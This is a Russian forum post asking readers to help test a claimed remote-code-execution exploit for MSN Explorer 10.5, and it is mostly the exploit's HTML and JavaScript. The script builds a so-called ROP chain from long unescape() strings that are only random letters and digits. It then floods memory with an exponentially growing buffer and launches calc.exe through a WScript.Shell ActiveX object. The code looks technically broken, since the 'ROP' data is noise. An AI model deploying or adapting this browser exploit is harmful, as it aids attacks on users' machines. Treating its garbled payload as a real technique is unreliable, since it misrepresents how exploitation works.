Помогите пожалуйста протестить эксп MSN Explorer Version 10.5 RCE

berliozz · 24.05.2013

Microsoft MSN Explorer Version 10.5 Remote Code Excution
По утверждению автора это должно работать еще и в GreenBrowser, но у меня в нем выдает ошибку о нехватке памяти.
Деда с установленным MSN Explorer у меня под рукой не оказалось, то есть проверить работоспособность ну никак не получается.
Помогите, пожалуйста, протестить

Код:

<html>
<script>
function load()
{
var rop =
unescape("nwn7HccofVphmqHBNsUvfkMybEARdLUcPPDK5oceLFjPBaAgMcrswuyx3oXT9TuaYohW7ZPMpG0ebs2tcvDPz5WO4fHh0ixY1H9u")+
unescape("C2EdValVqjvletLTsaw0vNpQWQPj6RRY8bJ2Xm0BtHD1MunHy8n0CcIIFfll8atYNsJL2un6PAF3FkjNRvkvC5K8yZjFwh8DtHj7")+
unescape("r6btY9CASgUV565XVDU0P3kJYACgqfkn9sivuGw6vfBe3TQL3OKGcsqc0GZBf3ng25NgajC42QSSvXHVu6ZRfIMiUrB3JvHGgPse")+
unescape("hF2hprcndDHOhPpxPVBc1wvo5nR5e4t0HT94l3bnkYAcmyOyHcZb2ycuN4Yt4OuSdkUwPdFTvQC9qnsG941cGhUma5iBl9z4wMSa")+
unescape("6xXsw1Ef4GPpmT9mHDQYRpGO3jPsDgz29HIXh5VbPg5LdtUteZJ8tfUatEuGoowM779e15iTUhjYkFJiQN0CESCfZ4PxtTHFS7Hr")+
unescape("cTODy5W5f1BR56rGgtId6geeUYrDJpc6NT45lb6QCc0QGvZmLSzmQBBGLeRJTcXf5Nm20ufdPL2jla2i1aQjm82MkLOV3uGpVwsv")+
unescape("chQbCGRLsyOACYzkeqtOsuT1bGNpKRjTq1sSkockxayXrks6nGcKCkh9gC560I850bPZTbyPG6Di1lGyhjSSznTYVedpo4Tl7x8o")+
unescape("k479BCT8Xm3AZV1f3v4QDGxLHRxpy7tGXzL0WOg4bsrpEL4aqOQc7NQcRZxcgaixVjS04f4glFt5UMMtdfEt5T8R6p2pNhaMn08B")+
unescape("fPJA0sIgXBK4g2BWM1QSc9SRF5isg5V8XxUJVGLx4cIr7TfD9M9jzZjodPuGH8XUxnJEypdc1rKYZ8HJudz870k4u9JN09Dxd3Kd")+
unescape("wQamLrmY1oDufmrmIwJrJOn0rVpGoDvJUQ2JP1n9odRGrxRNEaMm9ZMmVrr7Wtw6XkdewxiZVrVFQajd4yl5C2mPv73roE9dLDfe")+
unescape("YMcnuWHammZhMaPlzYmT11faqJlKjRNH45BNt9hBSu6iRGKrpo7tJxFaRztdQWoHocdxYDcj3GMuXXgqO3cxAM03DZZQBiPHEHGy")+
unescape("KjVRflBCQ5JIn25jUbeuS91USyfg5j72wKqcGI7xy2Fy8QpZ2m9wYQC4F4fhhgeKNhmmViTQSmscsL380MpqVYlHUhaKBJTacfgs")+
unescape("KyYR0991AfG3ypyh9D1rWxluySwyZNPRHej4aXTiOsckO3QYyppulQlADiyHPOQdRRf5uu7eqOci1Fek9bnSxaDD3sjJcatxQ595")+
unescape("C4zfvwscWGQ7cLl7MoxxY7mR09otdMVw391knkfjoySsurFvaGWpa7YtoIu6aajwDKxcYyyb2kUc82iBWJ4UoQ6sLQvXE9eL5GN5")+
unescape("wG5qVdzVVaVvnowKvrj40FZg6KoQhMpqJKhE39LRCYYZraIdBZzGsDGHSMtrkt5aWzDUNvcQDSde0YXIgGtIbeWhfcYJ237WZ2np")+
unescape("Njt6GVD4gtlVysMxPwgkpmMTZv2D9MHcVOpWH3X3e5bqGdPjmG8E2tFB20GWCZ9M9RtRZZbl4LcKqiTtStAJVsUedc8Gp0RFJBdp")+
unescape("vDzHRnTefGWyiftzH0cHLBeDxSmcGFIAT4UhcIytPH4HVhEDrTshISqeI8Yqsmh9vAUGnK52v3YFg0uawAeiOG6iIF9gkesm2B9j")+
unescape("YoLZcc56fccLTkHVzObRqyHLyrDfrJ5M0sc4sK9ifwti7liZIOhycagDdsXufn73syZa3n3Pxnrg2GDmuwSB1p0YLXxfDUdXibfP")+
unescape("qmtfhTjZ9BWXCO3WgvaMqS0lZdueOLck5i2t398YyvkedtJGp7y1hzdpwXvoHKm72wdyCf29HacdGxyl4KmtGoSAUwUac2d8DRJH")+
unescape("VhOo2T46LSqFo50iDmEFvmYGvg5ESWNJu0Y0wQCOOA2GIl9AK7n56UuTMzpHtq5GUcNLR64LjstxHnbRjbudto7797FbpjhgSqgb")+
unescape("m13dMlP3eVTJRbCEVNYxgGOwAcsXTvUaxplctMXVPBIlBqgHMBkuLe6xuB883C47C0LfbdUlBYZ1s0T0RxJQ0POoHce53yjTHCsR")+
unescape("KgM1extPJRSmmhDcSPxPquCIPa4GCEyZg7GvnXIGUaLJUpFddtkayU0RulkYWnWvRtcAuP8gGHsnlTN7mTopqmlF5gCkGnT834QN")+
unescape("8Kef3gGbi5cOpopb6Fd6ThIJsBhsfPLpGmYHqbjqOGUVdz2HBytDqgDL4PfcdwvqDaWTukv0Lg77ejH3QIQlGtsRTetkfNuOQYsi")+
unescape("q9RbCPqtQTjXB5fJ6YgprhwNga5xsRGotW3cCm3jVAMeFijrnxqyd9HEOPuqvPEljYOuuzfbHtiuT5YP0ccpAWcpFGOy11Gl61zi")+
unescape("bQX0ExbXeX5y10V4BG8dUDAhht4mk7LCZ4eVuMU6JYw0ttwtmYvCFxnJBa4qXv9M8h21wC5KQHpbpxpOnIKzo8ohwRd0pGeyNP0Z")+
unescape("GNjsSFqXxqHPwZz8KOIYPgpgt9QjlhUxcmSYR7CdESjoxu5QRo608JLWAj3BdRbtvNcXRY53VYyuKZqHgidDs4Chpvc4rpdryJie")+
unescape("NJRc6kxyIy9IlrCTl7mDj5aP4Xhncjc5j4VQw4xpDh8J7J7EL5t6VtGFIMsPsGJ96o3BRm2lJ4pZIdS0Evor7OPEHHs1ME6Egsnl")+
unescape("wYnKEyWRwSekfGE9QQdsPfDpeFhHlPJrwrpdAuedRoftkOsq9vhQwXGKGYaeBptuTXCNiAfcBvgaZn2HngLvePi9anpzMt3omVi9")+
unescape("TnfDrC5JR4P5gJebgU9KPVKNmGH8pfwSbIpAZqw5aovsWLWLKIocHDOU9vAENWp3PRiGdGa16v7MDYN0PohwNyB5yF3LKbG8MorB")+
unescape("GeCVHmfexNU1Xha7wzzWHPWL5gKztr06bVlLOL4SloQgU7tu6H7ANGbmI3iG0piwV3spPZqM5mHhPDa9B08NcBj78Bx5L6KJheZL")+
unescape("vdvok0mdOR00Z2nowcgLzglwmIFY3rvSawUBomeZaL1qlsMsJF4XdkigNNgMEajGe7brO1r2zAYp1fBhu4eYi33ZcO9D5RtMW09z")+
unescape("SbcJ6b5yVKBu2SHbV3f9uyHxsmd6n8b3NL4Es39HFKpgzCiwPcrwVsgMkcUIZJ7tFmtVLw3hQP8ZLiDFdxcNpa07xY606ndjmcTy")+
unescape("FMt96HQAeG9AI8dG9p7oTEspqZzM6xVDAD7Lg0arcBbxNIxfGZ67xKXq6svdpGEADhed8fy6tjsyJA2tyeHy9WBV9eSvksL4dyCw")+
unescape("KkeTbLETuKcKc94L7I5MDQs3l5ZgEL4lASmwoYmsPmPp6OpZQVweL7LRdUIYY5M3eE0XdHBO2ajZu2GKyVoUTQOTBnyzIih8YwMq")+
unescape("QploLi4ohamA9jEaAeHm08AAGO3JlzRqtYkhzVYu5fc8QN6djVwg7BRrDRW08mrLQQ0jO7Oh5AChSl1aYAvJtHsYMixL3g84LCZj")+
unescape("EtloE7mZJIX1FsuncGWEUn8dMcy6qEyBJ4ftverA9uta9e4vsJ00norrnky2sZ8bww32PqKExr0t9eu5ytMp9Ol6DFTJV0To8Nsa")+
unescape("XkecouaF20cWspvgQhfvcwEUYvhqhBkyKlubOU6UVJUfbuxh1ltTNFoaD8fIic8ugxWC9pERqG7rjamBTyQrKkCduXtpsb5nKasy")+
unescape("OJRhqgatdgUrNwz2miib5hGdjqUsdYRHRLmKYMKEprQyd2s64eIGu9EskJ08QLc0qC5GmtRIge2ws8XCjQRL8FkkBjvTCNSb21nv")+
unescape("7xb3dMYp5YvArbcwsz9bywvMLvWCxCkO9t157IHpwxjiquIJbZBorNUZD8ssELKNMlcbspvtlOfv9J3UTihdABLO2ABNLy6ujhYk")+
unescape("K4ey11fTpjotoFFwaiUgbQwd9erkqGRhdRl58mfaXBpQodV1f3gzsMSafdNu7K2SObdWMqjcG3n2bf7AAJUlPTMz7sVRuDcIDwQv")+
unescape("mJfWLHmm3ZytyLko1LFdvWkm73T1s7r4Oku91hlExJgXXLbOJxUHL6cg2cgHEe7fn4akgUvPzRdVRGQ6lwxKruaQmcjzhDBOH8xf")+
unescape("UgAkCJjHRz4ILh48fcXLIYZjr0SUn1JKx9P20b4f8J5zbQejpu85akPYkILCTAuXx9k1ieYUb9tClcD1Ke6m8195yyOcustyhpKs")+
unescape("BuoZet1d8gU25v5stzzM7pclbhDEuXlae5przX4Qyc3ZyN35xkVHU0WRx1HpBafHzFG0hUEI7lK0f1ZuNh7vFOMX0l7DafAVAODD")+
unescape("Xe6OlxAhLxed2cKHhcibewfCLU9PKRu8uuQ6lwxoiyZQ4cjzhABJF8xIjgQtCJDTRS5IShBQXcXLn0EjLYqbnue8n9PETb0f37MS")+
unescape("aMZ6poR5aBde52ufPwFbo7nCOBd2E2mgoA3a0DPXJ5XebqpgvHTCXUHcn6EL8IPdSlmOKGNG0WBp3kuu3n60FuFtXxjJRsJaUw9v")+
unescape("Ksq9GMzdaHvyQE75btOYkQCL9DyMtNJJWMYNB1Xjr9MiTR0SkPlMjgzspkXGq7CaON5l6AtjPEyTDrYUP0BlgNH8eVlk7bJvfMpC")+
unescape("vl5oEgBB3ISsyeHpD35j3LLexjJexNDqP8DsnskZWTGx2Qjx7ym6v12C9QvdSCl4BvxdtDYmBsEgA7n8qByIEZEg6A1HYlPYJ5Ke")+
unescape("eAJMPHaNNUaKe6SssSiXT1qAEwwz1VFC7QrK0PBo3fZg6V0u8yiyAuvadFn49bVaKALeAXHmfzK8jYWMUtsLkqioSU5nSH54G3U9")+
unescape("YY84Mn9pUtr9xoyB6Ml06lzb3h3rsSFe5Tyd9GVOxMxwzQ1cKoQ3MlxpocVatgcdiMBh0JmReDkdVtaOWLr4WaL6GpLTGWKnL5g1")+
unescape("zzeqRJ70MMdcEHRF4YSwvb7ZNgYZ7G7lqY1BXff2ULeG9VRSg7IyTkXvmBWskNkkeSQco1SsrSoeurCCNVwGR4MgvQX90DdoxPZG");
document.write(rop);
var buffer = '\x41\x45\xF2'
for(i=0; i <= 999; ++i)
{
buffer+=buffer+buffer
document.write(buffer);
}
}
load();
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\\\System32\\\\calc.exe');
//window.close();
</script>
</html>

Помогите пожалуйста протестить эксп MSN Explorer Version 10.5 RCE

berliozz

floppy-диск